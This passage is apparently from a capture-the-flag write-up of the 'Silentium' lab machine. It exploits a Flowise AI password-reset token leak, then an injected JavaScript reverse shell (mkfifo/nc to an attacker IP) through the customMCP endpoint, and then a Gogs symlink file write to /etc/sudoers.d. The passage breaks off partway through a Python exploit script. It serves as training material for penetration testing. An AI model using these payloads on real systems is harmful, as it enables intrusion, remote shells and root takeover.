&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster vhost &lt;span class="nt"&gt;-u&lt;/span&gt; http://silentium.htb &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;--append-domain&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed &lt;code&gt;staging.silentium.htb&lt;/code&gt;. We added this to &lt;code&gt;/etc/hosts&lt;/code&gt; and navigated to it, discovering an instance of Flowise AI (version 3.0.5).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2F8f48ad37-214d-4af1-b0d2-a26d62765a3f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2F8f48ad37-214d-4af1-b0d2-a26d62765a3f.png" alt="ASdsf" width="800" height="487"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Initial Access: Flowise AI Password Reset Vulnerability
&lt;/h2&gt;

&lt;p&gt;The Flowise AI instance was vulnerable to an unauthenticated API logic flaw (CVE-2025-58434) that leaks password reset tokens directly in the API response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Leaking the Token
&lt;/h3&gt;

&lt;p&gt;By sending a POST request to the "forgot password" endpoint with a valid username (&lt;code&gt;ben@silentium.htb&lt;/code&gt;), the server responded with the user object, including the &lt;code&gt;tempToken&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://staging.silentium.htb/api/v1/account/forgot-password &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"user": {"email": "ben@silentium.htb"}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2: Overcoming the 500 Internal Server Error
&lt;/h3&gt;

&lt;p&gt;Initially, attempting to use the token to reset the password returned a &lt;code&gt;500 Internal Server Error&lt;/code&gt; complaining about a database transaction. Analyzing the behavior revealed two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Token Expiration:&lt;/strong&gt; The token had a very short lifespan (&lt;code&gt;tokenExpiry&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Payload Structure:&lt;/strong&gt; The server expected a flattened payload rather than a nested "user" object.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By immediately generating a fresh token and using a corrected JSON payload, the password was successfully reset.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://staging.silentium.htb/api/v1/account/reset-password &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
       "tempToken": "&amp;lt;FRESH_LEAKED_TOKEN&amp;gt;",
       "password": "&amp;lt;NEW_PASSWORD&amp;gt;",
       "confirmPassword": "&amp;lt;NEW_PASSWORD&amp;gt;"
     }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2Ff3437941-86e0-4ddb-92fd-27e9f111eddc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2Ff3437941-86e0-4ddb-92fd-27e9f111eddc.png" width="800" height="163"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the credentials (&lt;code&gt;&amp;lt;EMAIL&amp;gt;&lt;/code&gt; / &lt;code&gt;&amp;lt;PASSWORD&amp;gt;&lt;/code&gt;), we logged into the Flowise dashboard.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Remote Code Execution (RCE) via Flowise (Model Context Protocol)
&lt;/h2&gt;

&lt;p&gt;Once authenticated as an admin in Flowise, we explored the integration of the &lt;strong&gt;Model Context Protocol (MCP)&lt;/strong&gt;, a standard that allows LLMs to interact with external tools and data sources. In Flowise 3.0.5, the &lt;code&gt;/api/v1/node-load-method/customMCP&lt;/code&gt; endpoint was found to be vulnerable to &lt;strong&gt;Insecure Code Evaluation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The vulnerability lies in how Flowise handles the &lt;code&gt;mcpServerConfig&lt;/code&gt; parameter. When a user configures a "Custom MCP" node, the server takes the provided configuration string and evaluates it within the Node.js environment to initialize the connection. Because this evaluation is performed without proper sandboxing, an attacker can inject arbitrary JavaScript code.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Path:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Authentication:&lt;/strong&gt; We secured our access using either the session &lt;strong&gt;JWT Bearer Token&lt;/strong&gt; or the persistent &lt;strong&gt;API Key&lt;/strong&gt; found in the dashboard settings.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Payload Crafting:&lt;/strong&gt; We crafted a JSON payload that targeted the &lt;code&gt;customMCP&lt;/code&gt; load method. The payload used an Immediately Invoked Function Expression (IIFE) within the &lt;code&gt;mcpServerConfig&lt;/code&gt; string to require the &lt;code&gt;child_process&lt;/code&gt; module and execute a reverse shell command.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"loadMethod"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listActions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"inputs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"mcpServerConfig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc &amp;lt;ATTACKER_IP&amp;gt; &amp;lt;PORT&amp;gt; &amp;gt;/tmp/f');return 1;})()} )"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Execution:&lt;/strong&gt; We saved the payload to a file named &lt;code&gt;payload.json&lt;/code&gt; and sent it to the endpoint using &lt;code&gt;curl&lt;/code&gt;, authorizing the request with our retrieved API key:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://staging.silentium.htb/api/v1/node-load-method/customMCP &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;YOUR_API_KEY&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; @payload.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Upon sending the request, the Node.js backend evaluated the &lt;code&gt;mcpServerConfig&lt;/code&gt; string, immediately executing our reverse shell.&lt;/p&gt;

&lt;p&gt;The shell landed us inside the Flowise Docker container as the &lt;code&gt;node&lt;/code&gt; user.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Pivoting to the Host
&lt;/h2&gt;

&lt;p&gt;Being inside a Docker container meant we needed to find a way to the host machine.&lt;/p&gt;

&lt;p&gt;Enumerating the container's environment variables (&lt;code&gt;env&lt;/code&gt;) revealed sensitive credentials, including the password for the local user &lt;code&gt;ben&lt;/code&gt;: &lt;code&gt;&amp;lt;USER_PASSWORD&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since the host had SSH exposed, we used these credentials to log in as &lt;code&gt;ben&lt;/code&gt; on the main host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh ben@silentium.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User Flag Captured!&lt;/strong&gt; &lt;code&gt;cat /home/ben/user.txt&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)
&lt;/h2&gt;

&lt;p&gt;System enumeration as &lt;code&gt;ben&lt;/code&gt; revealed a local Gogs instance running on port 3000/3001. Checking the running processes (&lt;code&gt;ps aux | grep gogs&lt;/code&gt;) confirmed that the Gogs web process was running as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Gogs is vulnerable to CVE-2025-8110, an Arbitrary File Write vulnerability caused by improper handling of symbolic links via the API. By pushing a repository containing a symlink that points outside the repository and then updating the file via the API, an attacker can overwrite arbitrary files as the user running Gogs (&lt;code&gt;root&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;We used SSH local port forwarding to expose the internal Gogs web interface to our local attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 8080:127.0.0.1:3000 ben@silentium.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Gogs Exploitation: Manual Method (Web UI)
&lt;/h2&gt;

&lt;p&gt;If an attacker prefers a manual approach, the vulnerability can be exploited directly through the Gogs dashboard at &lt;code&gt;http://127.0.0.1:8080&lt;/code&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Account Setup:&lt;/strong&gt; Register a new user account (e.g., &lt;code&gt;&amp;lt;USERNAME&amp;gt;&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;API Token Generation:&lt;/strong&gt; Navigate to &lt;strong&gt;User Settings &amp;gt; Applications&lt;/strong&gt;. Under "Generate New Token," provide a name and click &lt;strong&gt;Generate Token&lt;/strong&gt;. Save this token for API authentication.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Repository Creation:&lt;/strong&gt; Create a new repository and ensure it is initialized.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Symlink Creation (Local):&lt;/strong&gt; On your attacking machine, clone the repo, create a symlink pointing to the target file on the host, and push it:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone http://127.0.0.1:8080/&amp;lt;USERNAME&amp;gt;/&amp;lt;REPO&amp;gt;.git
&lt;span class="nb"&gt;cd&lt;/span&gt; &amp;lt;REPO&amp;gt;
&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /etc/sudoers.d/ben malicious_link
git add malicious_link &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Add symlink"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git push
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Payload Delivery:&lt;/strong&gt; Use a tool like &lt;code&gt;curl&lt;/code&gt; or Postman to send a &lt;code&gt;PUT&lt;/code&gt; request to the Gogs API to update the content of &lt;code&gt;malicious_link&lt;/code&gt;. This triggers the arbitrary write to the host's filesystem.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  7. Gogs Exploitation: Automated Attack (Python Script)
&lt;/h2&gt;

&lt;p&gt;To increase efficiency and reliability, we used a finalized Python script (&lt;code&gt;new_exploit.py&lt;/code&gt;) to handle the authentication, token generation, repository management, and symlink poisoning.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Final Working Logic
&lt;/h3&gt;

&lt;p&gt;The script's success relied on targeting the &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; directory. By writing a new configuration file for the user &lt;code&gt;ben&lt;/code&gt; and ensuring the payload included a &lt;strong&gt;trailing newline (&lt;/strong&gt;&lt;code&gt;\n&lt;/code&gt;&lt;strong&gt;)&lt;/strong&gt;, we were able to bypass the sudo password prompt entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Exploit Code (&lt;code&gt;new_exploit.py&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;shutil&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urllib3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;bs4&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;

&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disable_warnings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;InsecureRequestWarning&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;login_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/user/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;csrf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input[name=_csrf]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;login_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_csrf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;login_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_application_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;settings_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/user/settings/applications&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;get_resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;csrf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input[name=_csrf]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_csrf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;div&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;class_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ui info message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;p&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_malicious_repo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/v1/user/repos&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;repo_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
